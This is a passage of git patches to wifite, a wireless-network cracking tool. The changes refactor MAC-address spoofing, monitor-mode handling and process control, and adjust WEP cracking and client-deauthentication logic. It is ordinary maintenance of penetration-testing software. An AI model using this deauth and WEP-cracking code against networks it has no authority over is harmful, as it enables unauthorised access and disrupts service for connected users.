+ macch = Process(command) macch.wait() if macch.poll() != 0: - Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) - Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr())) + Color.pl('\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command)) + Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr())) return False Color.clear_entire_line() - Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface) + Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface) + + Ifconfig.up(iface) - if Ifconfig.up(iface) != 0: - Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) - Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr())) - return False return True + @classmethod - def reset(cls): - # --permanent to reset to permanent MAC address - if not cls.down_macch_up("-p"): return - Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...") + def get_interface(cls): + # Helper method to get interface from configuration from ..config import Configuration - new_mac = Ifconfig.get_mac(Configuration.interface) - Color.clear_entire_line() - Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac) + return Configuration.interface + + + @classmethod + def reset(cls): + iface = cls.get_interface() + Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface) + # -p to reset to permanent MAC address + if cls.down_macch_up(iface, ['-p']): + new_mac = Ifconfig.get_mac(iface) + + Color.clear_entire_line() + Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) + @classmethod def random(cls): - # Use --permanent to use random MAC address - if not cls.down_macch_up("-r"): return - cls.is_changed = True - from ..config import Configuration - new_mac = Ifconfig.get_mac(Configuration.interface) - Color.clear_entire_line() - Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac) + from ..util.process import Process + if not Process.exists('macchanger'): + Color.pl('{!} {R}macchanger: {O}not installed') + return + + iface = cls.get_interface() + Color.pl('\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface) + + # -r to use random MAC address + # -e to keep vendor bytes the same + if cls.down_macch_up(iface, ['-e']): + cls.is_changed = True + new_mac = Ifconfig.get_mac(iface) + + Color.clear_entire_line() + Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) + @classmethod def reset_if_changed(cls): - if not cls.is_changed: return - cls.reset() + if cls.is_changed: + cls.reset() + diff --git a/wifite/util/color.py b/wifite/util/color.py index 747813d04..3fa80903e 100755 --- a/wifite/util/color.py +++ b/wifite/util/color.py @@ -31,9 +31,9 @@ class Color(object): @staticmethod def p(text): ''' - Prints text using colored format on same line. - Example: - Color.p("{R}This text is red. {W} This text is white") + Prints text using colored format on same line. + Example: + Color.p("{R}This text is red. {W} This text is white") ''' sys.stdout.write(Color.s(text)) sys.stdout.flush() @@ -45,17 +45,13 @@ def p(text): @staticmethod def pl(text): - ''' - Prints text using colored format with trailing new line. - ''' + '''Prints text using colored format with trailing new line.''' Color.p('%s\n' % text) Color.last_sameline_length = 0 @staticmethod def pe(text): - ''' - Prints text using colored format with leading and trailing new line to STDERR. - ''' + '''Prints text using colored format with leading and trailing new line to STDERR.''' sys.stderr.write(Color.s('%s\n' % text)) Color.last_sameline_length = 0 @@ -85,14 +81,14 @@ def clear_entire_line(): @staticmethod def pattack(attack_type, target, attack_name, progress): ''' - Prints a one-liner for an attack - Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress - [name] ESSID (MAC @ Pwr) Attack_Type: Progress - e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs + Prints a one-liner for an attack. + Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress. + ESSID (Pwr) Attack_Type: Progress + e.g.: Router2G (23db) WEP replay attack: 102 IVs ''' essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}" - Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % ( - essid, target.bssid, target.power, attack_type, attack_name, progress)) + Color.p("\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s " % ( + essid, target.power, attack_type, attack_name, progress)) if __name__ == '__main__': Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done") From ec49c0336e0c00dc93c79b1ea37fababf04375ed Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 18 Apr 2018 14:44:56 -0400 Subject: [PATCH 38/52] Change all *.py to exectuable --- wifite/tools/__init__.py | 0 wifite/tools/ifconfig.py | 0 wifite/tools/iwconfig.py | 0 wifite/tools/pyrit.py | 0 wifite/tools/wash.py | 0 wifite/util/__init__.py | 0 wifite/util/input.py | 0 7 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 wifite/tools/__init__.py mode change 100644 => 100755 wifite/tools/ifconfig.py mode change 100644 => 100755 wifite/tools/iwconfig.py mode change 100644 => 100755 wifite/tools/pyrit.py mode change 100644 => 100755 wifite/tools/wash.py mode change 100644 => 100755 wifite/util/__init__.py mode change 100644 => 100755 wifite/util/input.py diff --git a/wifite/tools/__init__.py b/wifite/tools/__init__.py old mode 100644 new mode 100755 diff --git a/wifite/tools/ifconfig.py b/wifite/tools/ifconfig.py old mode 100644 new mode 100755 diff --git a/wifite/tools/iwconfig.py b/wifite/tools/iwconfig.py old mode 100644 new mode 100755 diff --git a/wifite/tools/pyrit.py b/wifite/tools/pyrit.py old mode 100644 new mode 100755 diff --git a/wifite/tools/wash.py b/wifite/tools/wash.py old mode 100644 new mode 100755 diff --git a/wifite/util/__init__.py b/wifite/util/__init__.py old mode 100644 new mode 100755 diff --git a/wifite/util/input.py b/wifite/util/input.py old mode 100644 new mode 100755 From 6f71957753148e66a368e437f08e47ba4c76e49e Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 18 Apr 2018 15:01:25 -0400 Subject: [PATCH 39/52] iface before PHY in output. Remove "Interface" model, rely on ifconfig --- wifite/attack/wep.py | 4 +- wifite/model/interface.py | 81 -------------------------------------- wifite/tools/airmon.py | 12 +++--- wifite/tools/macchanger.py | 1 - 4 files changed, 8 insertions(+), 90 deletions(-) delete mode 100755 wifite/model/interface.py diff --git a/wifite/attack/wep.py b/wifite/attack/wep.py index a97ef2eb9..2421c2aec 100755 --- a/wifite/attack/wep.py +++ b/wifite/attack/wep.py @@ -5,8 +5,8 @@ from ..tools.airodump import Airodump from ..tools.aireplay import Aireplay, WEPAttackType from ..tools.aircrack import Aircrack +from ..tools.ifconfig import Ifconfig from ..config import Configuration -from ..model.interface import Interface from ..util.color import Color from ..util.input import raw_input from ..model.wep_result import CrackResultWEP @@ -57,7 +57,7 @@ def run(self): if self.fake_auth(): # We successfully authenticated! # Use our interface's MAC address for the attacks. - client_mac = Interface.get_mac() + client_mac = Ifconfig.get_mac(Configuration.interface) # Keep us authenticated fakeauth_proc = Aireplay(self.target, "fakeauth") elif len(airodump_target.clients) == 0: diff --git a/wifite/model/interface.py b/wifite/model/interface.py deleted file mode 100755 index 61aa6d4ea..000000000 --- a/wifite/model/interface.py +++ /dev/null @@ -1,81 +0,0 @@ -#!/usr/bin/python2.7 -# -*- coding: utf-8 -*- - -from ..tools.ifconfig import Ifconfig -from ..util.color import Color - -import re - -class Interface(object): - ''' - Represents an 'interface' known by airmon-ng - ''' - - def __init__(self, fields): - ''' - Initializes & stores info about an interface. - - Args: - Fields - list of fields - 0: PHY - 1: INTERFACE - 2: DRIVER - 3: CHIPSET - ''' - if len(fields) == 3: - phy = 'phyX' - match = re.search(' - \[(phy\d+)\]', fields[2]) - if match: - phy = match.groups()[0] - fields[2] = fields[2][:fields[2].rfind(' - [')] - fields.insert(0, phy) - if len(fields) != 4: - raise Exception("Expected 4, got %d in %s" % (len(fields), fields)) - self.phy = fields[0].strip() - self.interface = fields[1].strip() - self.driver = fields[2].strip() - self.chipset = fields[3].strip() - - # Max length of fields. - # Used for printing a table of interfaces. - PHY_LEN = 6 - INTERFACE_LEN = 12 - DRIVER_LEN = 20 - CHIPSET_LEN = 30 - - def __str__(self): - ''' Colored string representation of interface ''' - s = Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN)) - s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN)) - s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN)) - s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) - return s - - @staticmethod - def menu_header(): - ''' Colored header row for interfaces ''' - s = ' ' - s += 'PHY'.ljust(Interface.PHY_LEN) - s += 'Interface'.ljust(Interface.INTERFACE_LEN) - s += 'Driver'.ljust(Interface.DRIVER_LEN) - s += 'Chipset'.ljust(Interface.CHIPSET_LEN) - s += '\n' - s += '-' * (Interface.PHY_LEN + Interface.INTERFACE_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN + 3) - return s - - @staticmethod - def get_mac(iface=None): - from ..config import Configuration - from ..util.process import Process - - if iface is None: - Configuration.initialize() - iface = Configuration.interface - if iface is None: - raise Exception('Interface must be defined (-i)') - - Ifconfig.get_mac(iface) - -if __name__ == '__main__': - mac = Interface.get_mac() - print('wlan0mon mac address:', mac) diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index 5f42dc3ac..b844b02b6 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -1,7 +1,6 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from ..model.interface import Interface from ..tools.ifconfig import Ifconfig from ..tools.iwconfig import Iwconfig from ..util.process import Process @@ -23,15 +22,16 @@ def __init__(self, phy, interface, driver, chipset): # Max length of fields. # Used for printing a table of interfaces. - PHY_LEN = 6 INTERFACE_LEN = 12 + PHY_LEN = 6 DRIVER_LEN = 20 CHIPSET_LEN = 30 def __str__(self): ''' Colored string representation of interface ''' - s = Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN)) + s = '' s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN)) + s += Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN)) s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN)) s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) return s @@ -39,13 +39,13 @@ def __str__(self): @staticmethod def menu_header(): ''' Colored header row for interfaces ''' - s = ' ' - s += 'PHY'.ljust(AirmonIface.PHY_LEN) + s = ' ' # Space for index # s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN) + s += 'PHY'.ljust(AirmonIface.PHY_LEN) s += 'Driver'.ljust(AirmonIface.DRIVER_LEN) s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN) s += '\n' - s += '-' * (Interface.PHY_LEN + Interface.INTERFACE_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN + 3) + s += '-' * (AirmonIface.INTERFACE_LEN + AirmonIface.PHY_LEN + AirmonIface.DRIVER_LEN + AirmonIface.CHIPSET_LEN + 3) return s diff --git a/wifite/tools/macchanger.py b/wifite/tools/macchanger.py index 43313c88d..0619b3f64 100755 --- a/wifite/tools/macchanger.py +++ b/wifite/tools/macchanger.py @@ -1,7 +1,6 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from ..model.interface import Interface from ..tools.ifconfig import Ifconfig from ..util.color import Color From bd495966f01d30a56e54e578c2e087f79ec589c6 Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 18 Apr 2018 15:03:34 -0400 Subject: [PATCH 40/52] v2.1.4: Version bump for recent fixes/changes. --- wifite/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wifite/config.py b/wifite/config.py index f0b4ac7e5..8f638d6dd 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -8,7 +8,7 @@ class Configuration(object): ''' Stores configuration variables and functions for Wifite. ''' - version = '2.1.3' + version = '2.1.4' initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory From 4ef3236e4d392018d6c2587af3f3f1e597a31cc5 Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 18 Apr 2018 21:36:36 -0400 Subject: [PATCH 41/52] Don't disable monitor mode / put interface up on exit. --- wifite/config.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/wifite/config.py b/wifite/config.py index 8f638d6dd..89eb4acde 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -317,17 +317,17 @@ def exit_gracefully(code=0): Macchanger.reset_if_changed() from .tools.airmon import Airmon if Configuration.interface is not None and Airmon.base_interface is not None: - #Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface) - #Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface) + Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface) + Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface) # Stop monitor mode - Airmon.stop(Configuration.interface) + #Airmon.stop(Configuration.interface) # Bring original interface back up - Airmon.put_interface_up(Airmon.base_interface) + #Airmon.put_interface_up(Airmon.base_interface) if Airmon.killed_network_manager: - #Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') - Airmon.start_network_manager() + Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') + #Airmon.start_network_manager() exit(code) From 1bbc7fefaff76ee0d0801c4e8c1a3aa02faaf331 Mon Sep 17 00:00:00 2001 From: derv82 Date: Thu, 19 Apr 2018 02:50:25 -0400 Subject: [PATCH 42/52] Better colors on stack traces --- wifite/wifite.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/wifite/wifite.py b/wifite/wifite.py index 23ed4f77f..8aa5f0502 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -149,8 +149,8 @@ def run(self): from traceback import format_exc Color.p('\n{!} ') err = format_exc().strip() - err = err.replace('\n', '\n{!} {C} ') - err = err.replace(' File', '{W}File') + err = err.replace('\n', '\n{W}{!} {W} ') + err = err.replace(' File', '{W}{D}File') err = err.replace(' Exception: ', '{R}Exception: {O}') Color.pl(err) except KeyboardInterrupt: @@ -181,8 +181,8 @@ def run(self): from traceback import format_exc Color.p('\n{!} ') err = format_exc().strip() - err = err.replace('\n', '\n{!} {C} ') - err = err.replace(' File', '{W}File') + err = err.replace('\n', '\n{W}{!} {W} ') + err = err.replace(' File', '{W}{D}File') err = err.replace(' Exception: ', '{R}Exception: {O}') Color.pl(err) except KeyboardInterrupt: @@ -243,8 +243,8 @@ def run(): from traceback import format_exc Color.p('\n{!} ') err = format_exc().strip() - err = err.replace('\n', '\n{!} {C} ') - err = err.replace(' File', '{W}File') + err = err.replace('\n', '\n{W}{!} {W} ') + err = err.replace(' File', '{W}{D}File') err = err.replace(' Exception: ', '{R}Exception: {O}') Color.pl(err) From adc7d37318216af8d3e29480920915ca1a356509 Mon Sep 17 00:00:00 2001 From: derv82 Date: Thu, 19 Apr 2018 12:59:11 -0400 Subject: [PATCH 43/52] Don't kill+restart aircrack after 30s, wait 60s for target, Also detect enabled/disabled interfaces when putting in/out of monitor mode. --- wifite/attack/wep.py | 2 ++ wifite/model/attack.py | 2 +- wifite/tools/aireplay.py | 2 +- wifite/tools/airmon.py | 22 +++++++++++++++++----- wifite/tools/ifconfig.py | 3 ++- 5 files changed, 23 insertions(+), 8 deletions(-) diff --git a/wifite/attack/wep.py b/wifite/attack/wep.py index 2421c2aec..181230306 100755 --- a/wifite/attack/wep.py +++ b/wifite/attack/wep.py @@ -137,6 +137,7 @@ def run(self): self.fake_auth() aircrack = Aircrack(ivs_file) + ''' elif Configuration.wep_restart_aircrack > 0 and \ aircrack.pid.running_time() > Configuration.wep_restart_aircrack: # Restart aircrack after X seconds @@ -144,6 +145,7 @@ def run(self): ivs_file = airodump.find_files(endswith='.ivs')[0] Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) aircrack = Aircrack(ivs_file) + ''' if not aireplay.is_running(): diff --git a/wifite/model/attack.py b/wifite/model/attack.py index a915c210d..5a61994c2 100755 --- a/wifite/model/attack.py +++ b/wifite/model/attack.py @@ -6,7 +6,7 @@ class Attack(object): '''Contains functionality common to all attacks.''' - target_wait = 20 + target_wait = 60 def __init__(self, target): self.target = target diff --git a/wifite/tools/aireplay.py b/wifite/tools/aireplay.py index 565bb31a9..282ed0a0a 100755 --- a/wifite/tools/aireplay.py +++ b/wifite/tools/aireplay.py @@ -222,7 +222,7 @@ def run(self): if pps == "0": self.status = "Waiting for packet..." else: - self.status = "Replaying packet @ %s/sec" % pps + self.status = "Replaying @ %s/sec" % pps pass def __del__(self): diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index b844b02b6..790a8438f 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -213,7 +213,7 @@ def stop(iface): airmon_output = Process(['airmon-ng', 'stop', iface]).stdout() - disabled_iface = Airmon._parse_airmon_stop(airmon_output) + (disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output) if not disabled_iface and iface in Airmon.BAD_DRIVERS: Color.p('{O}"bad driver" detected{W} ') @@ -224,6 +224,8 @@ def stop(iface): else: Color.pl('{O}could not disable on {R}%s{W}' % iface) + return (disabled_iface, enabled_iface) + @staticmethod def _parse_airmon_stop(airmon_output): @@ -235,17 +237,25 @@ def _parse_airmon_stop(airmon_output): # airmon-ng 1.2rc1 output: wlan0mon (removed) removed_re = re.compile(r'([a-zA-Z0-9]+).*\(removed\)') + # Enabled interface: (mac80211 station mode vif enabled on [phy4]wlan0) + enabled_re = re.compile(r'\s*\(mac80211 station mode (?:vif )?enabled on (?:\[\w+\])?(\w+)\)\s*') + disabled_iface = None + enabled_iface = None for line in airmon_output.split('\n'): matches = disabled_re.match(line) if matches: - return matches.group(1) + disabled_iface = matches.group(1) matches = removed_re.match(line) if matches: - return matches.group(1) + disabled_iface = matches.group(1) - return None + matches = enabled_re.match(line) + if matches: + enabled_iface = matches.group(1) + + return (disabled_iface, enabled_iface) @staticmethod @@ -386,4 +396,6 @@ def start_network_manager(): if __name__ == '__main__': Airmon.terminate_conflicting_processes() iface = Airmon.ask() - Airmon.stop(iface) + (disabled_iface, enabled_iface) = Airmon.stop(iface) + print("Disabled:", disabled_iface) + print("Enabled:", enabled_iface) diff --git a/wifite/tools/ifconfig.py b/wifite/tools/ifconfig.py index 5a9cb0ca6..6d53dfe11 100755 --- a/wifite/tools/ifconfig.py +++ b/wifite/tools/ifconfig.py @@ -10,11 +10,12 @@ def up(cls, interface, args=[]): '''Put interface up''' from ..util.process import Process - command = ['ifconfig', interface, 'up'] + command = ['ifconfig', interface] if type(args) is list: command.extend(args) elif type(args) is 'str': command.append(args) + command.append('up') pid = Process(command) pid.wait() From 9f95f554aeb67a75bf64cb9446cdf02417a96b9b Mon Sep 17 00:00:00 2001 From: derv82 Date: Thu, 19 Apr 2018 22:49:59 -0400 Subject: [PATCH 44/52] Lots of changes to improve WEP, but don't actually improve WEP. --- wifite/attack/wep.py | 39 +++++++++++++++++++++++++++------------ wifite/tools/aircrack.py | 9 +++++++-- wifite/tools/aireplay.py | 4 ++-- wifite/tools/airodump.py | 32 +++++++++++++++++++++++--------- wifite/util/process.py | 33 ++++++++++++++++++++------------- 5 files changed, 79 insertions(+), 38 deletions(-) diff --git a/wifite/attack/wep.py b/wifite/attack/wep.py index 181230306..41acf8001 100755 --- a/wifite/attack/wep.py +++ b/wifite/attack/wep.py @@ -77,7 +77,8 @@ def run(self): # Start Aireplay process. aireplay = Aireplay(self.target, wep_attack_type, - client_mac=client_mac) + client_mac=client_mac, + replay_file=replay_file) time_unchanged_ivs = time.time() # Timestamp when IVs last changed previous_ivs = 0 @@ -90,7 +91,9 @@ def run(self): if client_mac is None and len(airodump_target.clients) > 0: client_mac = airodump_target.clients[0].station - status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs) + total_ivs = airodump_target.ivs + + status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs) if fakeauth_proc: if fakeauth_proc and fakeauth_proc.status: status += ", {G}fakeauth{W}" @@ -123,28 +126,31 @@ def run(self): Color.p("and {C}cracking{W}") # Check number of IVs, crack if necessary - if airodump_target.ivs > Configuration.wep_crack_at_ivs: + if total_ivs > Configuration.wep_crack_at_ivs: if not aircrack: # Aircrack hasn't started yet. Start it. - ivs_file = airodump.find_files(endswith='.ivs')[0] - aircrack = Aircrack(ivs_file) + ivs_files = airodump.find_files(endswith='.ivs') + if len(ivs_files) > 0: + aircrack = Aircrack(ivs_files[-1]) elif not aircrack.is_running(): # Aircrack stopped running. - Color.pl('\n{!} {O}aircrack stopped running!{W}') - ivs_file = airodump.find_files(endswith='.ivs')[0] - Color.pl('{+} {C}aircrack{W} stopped, restarting...') - self.fake_auth() - aircrack = Aircrack(ivs_file) + #Color.pl('\n{+} {C}aircrack{W} stopped, restarting...') + ivs_files = airodump.find_files(endswith='ivs') + if len(ivs_files) > 0: + aircrack = Aircrack(ivs_files[-1]) + # TODO: Why do we need fakeauth when aircrack stops? + #self.fake_auth() ''' elif Configuration.wep_restart_aircrack > 0 and \ aircrack.pid.running_time() > Configuration.wep_restart_aircrack: # Restart aircrack after X seconds aircrack.stop() - ivs_file = airodump.find_files(endswith='.ivs')[0] + ivs_files = airodump.find_files(endswith='.ivs') Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) - aircrack = Aircrack(ivs_file) + if len(ivs_files) > 0: + aircrack = Aircrack(ivs_files[-1]) ''' @@ -277,15 +283,24 @@ def user_wants_to_stop(self, current_attack, attacks_remaining, target): # Deauth clients & retry deauth_count = 1 Color.clear_entire_line() + Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...") Aireplay.deauth(target.bssid, essid=target.essid) + + attacking_mac = Ifconfig.get_mac(Configuration.interface) for client in target.clients: + if attacking_mac.lower() == client.station.lower(): + continue # Don't deauth ourselves. + Color.clear_entire_line() Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station) + Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) deauth_count += 1 + Color.clear_entire_line() Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count) + # Re-insert current attack to top of list of attacks remaining attacks_remaining.insert(0, current_attack) return False # Don't stop diff --git a/wifite/tools/aircrack.py b/wifite/tools/aircrack.py index 6f69fcd4f..68e941430 100755 --- a/wifite/tools/aircrack.py +++ b/wifite/tools/aircrack.py @@ -10,7 +10,9 @@ class Aircrack(object): def __init__(self, ivs_file=None): - self.cracked_file = Configuration.temp() + 'wepkey.txt' + self.cracked_file = os.path.abspath( + os.path.join( + Configuration.temp(), 'wepkey.txt')) # Delete previous cracked files if os.path.exists(self.cracked_file): @@ -20,8 +22,11 @@ def __init__(self, ivs_file=None): 'aircrack-ng', '-a', '1', '-l', self.cracked_file, - ivs_file ] + if type(ivs_file) is str: + ivs_file = [ivs_file] + + command.extend(ivs_file) self.pid = Process(command, devnull=True) diff --git a/wifite/tools/aireplay.py b/wifite/tools/aireplay.py index 282ed0a0a..52d8e9314 100755 --- a/wifite/tools/aireplay.py +++ b/wifite/tools/aireplay.py @@ -150,7 +150,7 @@ def run(self): matches = offset_re.match(line) if matches: self.xor_percent = matches.group(1) - self.status = "Generating .xor (%s)..." % matches.group(1) + self.status = "Generating .xor (%s)..." % self.xor_percent # (DONE) Saving keystream in replay_dec-0516-202246.xor saving_re = re.compile(r"Saving keystream in (.*\.xor)") @@ -207,7 +207,7 @@ def run(self): saving_re = re.compile(r"Saving keystream in (.*\.xor)") matches = saving_re.match(line) if matches: - self.status = 'saving keystream to %s' % saving_re.group(1) + self.status = 'saving keystream to %s' % matches.group(1) # XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index c5467a7fa..77dfd146d 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -15,7 +15,7 @@ class Airodump(object): def __init__(self, interface=None, channel=None, encryption=None,\ wps=False, target_bssid=None, output_file_prefix='airodump',\ - ivs_only=False, skip_wps=False): + ivs_only=False, skip_wps=False, delete_existing_files=True): '''Sets up airodump arguments, doesn't start process yet.''' Configuration.initialize() @@ -46,6 +46,8 @@ def __init__(self, interface=None, channel=None, encryption=None,\ self.decloaked_bssids = set() self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth + self.delete_existing_files = delete_existing_files + def __enter__(self): ''' @@ -53,7 +55,8 @@ def __enter__(self): Called at start of 'with Airodump(...) as x:' Actually starts the airodump process. ''' - self.delete_airodump_temp_files() + if self.delete_existing_files: + self.delete_airodump_temp_files(self.output_file_prefix) self.csv_file_prefix = Configuration.temp() + self.output_file_prefix @@ -88,30 +91,35 @@ def __exit__(self, type, value, traceback): # Kill the process self.pid.interrupt() - # Delete temp files - self.delete_airodump_temp_files() + if self.delete_existing_files: + self.delete_airodump_temp_files(self.output_file_prefix) def find_files(self, endswith=None): + return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith) + + @classmethod + def find_files_by_output_prefix(cls, output_file_prefix, endswith=None): ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] temp = Configuration.temp() for fil in os.listdir(temp): - if not fil.startswith(self.output_file_prefix): + if not fil.startswith(output_file_prefix): continue - if not endswith or fil.endswith(endswith): + if endswith is None or fil.endswith(endswith): result.append(os.path.join(temp, fil)) return result - def delete_airodump_temp_files(self): + @classmethod + def delete_airodump_temp_files(cls, output_file_prefix): ''' Deletes airodump* files in the temp directory. Also deletes replay_*.cap and *.xor files in pwd. ''' # Remove all temp files - for fil in self.find_files(): + for fil in cls.find_files_by_output_prefix(output_file_prefix): os.remove(fil) # Remove .cap and .xor files from pwd @@ -119,12 +127,18 @@ def delete_airodump_temp_files(self): if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): os.remove(fil) + # Remove replay/cap/xor files from temp + temp_dir = Configuration.temp() + for fil in os.listdir(temp_dir): + if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): + os.remove(os.path.join(temp_dir, fil)) + def get_targets(self, apply_filter=True): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None - for fil in self.find_files(endswith='-01.csv'): + for fil in self.find_files(endswith='.csv'): csv_filename = fil # Found the file break diff --git a/wifite/util/process.py b/wifite/util/process.py index 5e1bb39e4..33f2a7f3f 100755 --- a/wifite/util/process.py +++ b/wifite/util/process.py @@ -2,6 +2,9 @@ # -*- coding: utf-8 -*- import time +import signal +import os + from subprocess import Popen, PIPE from ..util.color import Color @@ -139,27 +142,31 @@ def running_time(self): ''' Returns number of seconds since process was started ''' return int(time.time() - self.start_time) - def interrupt(self): + def interrupt(self, wait_time=2.0): ''' Send interrupt to current process. - If process fails to exit within 1 second, terminates it. + If process fails to exit within `wait_time` seconds, terminates it. ''' - from signal import SIGINT, SIGTERM - from os import kill - from time import sleep try: pid = self.pid.pid - kill(pid, SIGINT) + cmd = self.command + if type(cmd) is list: + cmd = ' '.join(cmd) + + if Configuration.verbose > 1: + Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd)) + + os.kill(pid, signal.SIGINT) - wait_time = 0 # Time since Interrupt was sent + start_time = time.time() # Time since Interrupt was sent while self.pid.poll() is None: # Process is still running - wait_time += 0.1 - sleep(0.1) - if wait_time > 1: - # We waited over 1 second for process to die - # Terminate it and move on - kill(pid, SIGTERM) + time.sleep(0.1) + if time.time() - start_time > wait_time: + # We waited too long for process to die, terminate it. + if Configuration.verbose > 1: + Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time) + os.kill(pid, signal.SIGTERM) self.pid.terminate() break From 28b2d8312c23cd53260e0e6a089780139079861d Mon Sep 17 00:00:00 2001 From: derv82 Date: Fri, 20 Apr 2018 14:31:04 -0400 Subject: [PATCH 45/52] --keep-ivs option to retain .ivs files across attacks on the same target For #27 --- wifite/args.py | 6 ++++ wifite/attack/wep.py | 65 ++++++++++++++++++++++++++++++-------------- wifite/config.py | 4 +++ 3 files changed, 55 insertions(+), 20 deletions(-) diff --git a/wifite/args.py b/wifite/args.py index 7534fde10..7891e414e 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -159,6 +159,12 @@ def _add_wep_args(self, wep): wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') + wep.add_argument('--keep-ivs', + action='store_true', + dest='wep_keep_ivs', + default=False, + help=Color.s('Retain .IVS files and reuse when cracking (default: {G}off{W})')) + wep.add_argument('--pps', action='store', dest='wep_pps', diff --git a/wifite/attack/wep.py b/wifite/attack/wep.py index 41acf8001..f229fa127 100755 --- a/wifite/attack/wep.py +++ b/wifite/attack/wep.py @@ -37,6 +37,15 @@ def run(self): replay_file = None airodump_target = None + previous_ivs = 0 + current_ivs = 0 + total_ivs = 0 + keep_ivs = Configuration.wep_keep_ivs + + # Clean up previous WEP sessions + if keep_ivs: + Airodump.delete_airodump_temp_files('wep') + attacks_remaining = list(Configuration.wep_attacks) while len(attacks_remaining) > 0: attack_name = attacks_remaining.pop(0) @@ -47,7 +56,8 @@ def run(self): target_bssid=self.target.bssid, ivs_only=True, # Only capture IVs packets skip_wps=True, # Don't check for WPS-compatibility - output_file_prefix='wep') as airodump: 